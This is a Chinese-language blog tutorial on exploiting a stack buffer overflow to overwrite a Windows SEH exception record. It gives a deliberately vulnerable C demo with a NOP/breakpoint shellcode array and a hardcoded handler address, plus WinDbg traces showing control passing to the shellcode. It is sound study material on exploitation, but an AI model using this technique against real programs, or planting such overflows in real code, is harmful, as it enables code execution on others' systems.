前面一篇blog <堆溢出(DwordShoot)利用SEH異常處理 > 裡提到了基于堆溢出利用SEH的方式,本文将側重于棧溢出利用SEH異常處理。
先來看下示例代碼:
#include <windows.h>
#include <stdio.h>
char shellcode[] = {"\x90\x90\x90\x90\x90\x90\xeb\x10" \
"\x90\x90\x90\x90\x90\x90\x90\xcc" \
"\x90\x90\x90\x90\x08\x33\x42\x00" \
"\x90\x90\x90\x90\x90\x90\x90\x90" };
int main()
{
char buff[8] = {0};
printf("shellcode:%08x\n",shellcode);
int i=0,j=0;
__try
{
memcpy(buff,shellcode,0x18);
i/=j;
}
__except(1)
{
printf("exception handled\n");
}
return 0;
}
程式進入__try/__except塊後,檢視棧中剛形成的異常處理節點和buff的記憶體分布:
0:000> !exchain
0012ff70: SEHOverflow!_except_handler3+0 (00401600)
CRT scope 0, filter: SEHOverflow!main+92 (004010a2)
func: SEHOverflow!main+98 (004010a8)
0012ffb0: SEHOverflow!_except_handler3+0 (00401600)
CRT scope 0, filter: SEHOverflow!mainCRTStartup+f8 (004017d8)
func: SEHOverflow!mainCRTStartup+113 (004017f3)
0012ffe0: kernel32!_except_handler3+0 (77e7bb86)
CRT scope 0, filter: kernel32!BaseProcessStart+29 (77e85168)
func: kernel32!BaseProcessStart+3a (77e85179)
Invalid exception stack at ffffffff
0:000> dd buff L1
0012ff60 00000000
目前異常處理節點
_EXCEPTION_REGISTRATION_RECORD位于0x12ff70,buff位于0x12ff60,兩者相距0x10B。換言之,隻要往buff中拷貝超過0x10B位元組,就能覆寫異常處理節點。但要修改
_EXCEPTION_REGISTRATION_RECORD!
Handler,使得異常發生時跳進shellcode執行,則至少溢出到0x18B。
前文已經說過_EXCEPTION_REGISTRATION_RECORD!
Handler中存放的是函數指針,指向__except_handler3函數,異常出現時通過(
_EXCEPTION_REGISTRATION_RECORD->
Handler)();語句進入__except_handler3進行處理。為了跳進shellcode執行,需要将
_EXCEPTION_REGISTRATION_RECORD!
Handler中儲存的位址溢出為shellcode的位址。程式運作時,shellcode的位址是0x423308,是以,我向shellcode偏移0x14處填入0x423308,這樣異常出發時即可跳進shellcode執行,如下圖:
異常發生前:
觸發異常:
觸發異常後進入shellcode:
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00423308 edx=77f833b4 esi=00000000 edi=00000000
eip=00423308 esp=0012fb48 ebp=0012fb68 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
SEHOverflow!shellcode:
00423308 90 nop
0:000> u .
SEHOverflow!shellcode:
00423308 90 nop
00423309 90 nop
0042330a 90 nop
0042330b 90 nop
0042330c 90 nop
0042330d 90 nop
0042330e eb10 jmp SEHOverflow!shellcode+0x18 (00423320)
00423310 90 nop
最後,我們來看下棧溢出後,對異常處理連結清單的影響:
0:000> !exchain
0012fb5c: ntdll!ExecuteHandler2+3a (77f833b4)
0012ff70: SEHOverflow!shellcode+0 (00423308)
Invalid exception stack at 90909090
可以看到,由于buff溢出覆寫了整個異常處理節點,影響了
_EXCEPTION_REGISTRATION_RECORD!Next的值,是以,整個異常處理連結清單在發生覆寫後就突然斷了。相對的,堆溢出後,僅僅影響的是_EXCEPTION_REGISTRATION_RECORD!Handle部分,比起棧溢出那種大動作,它優雅很多~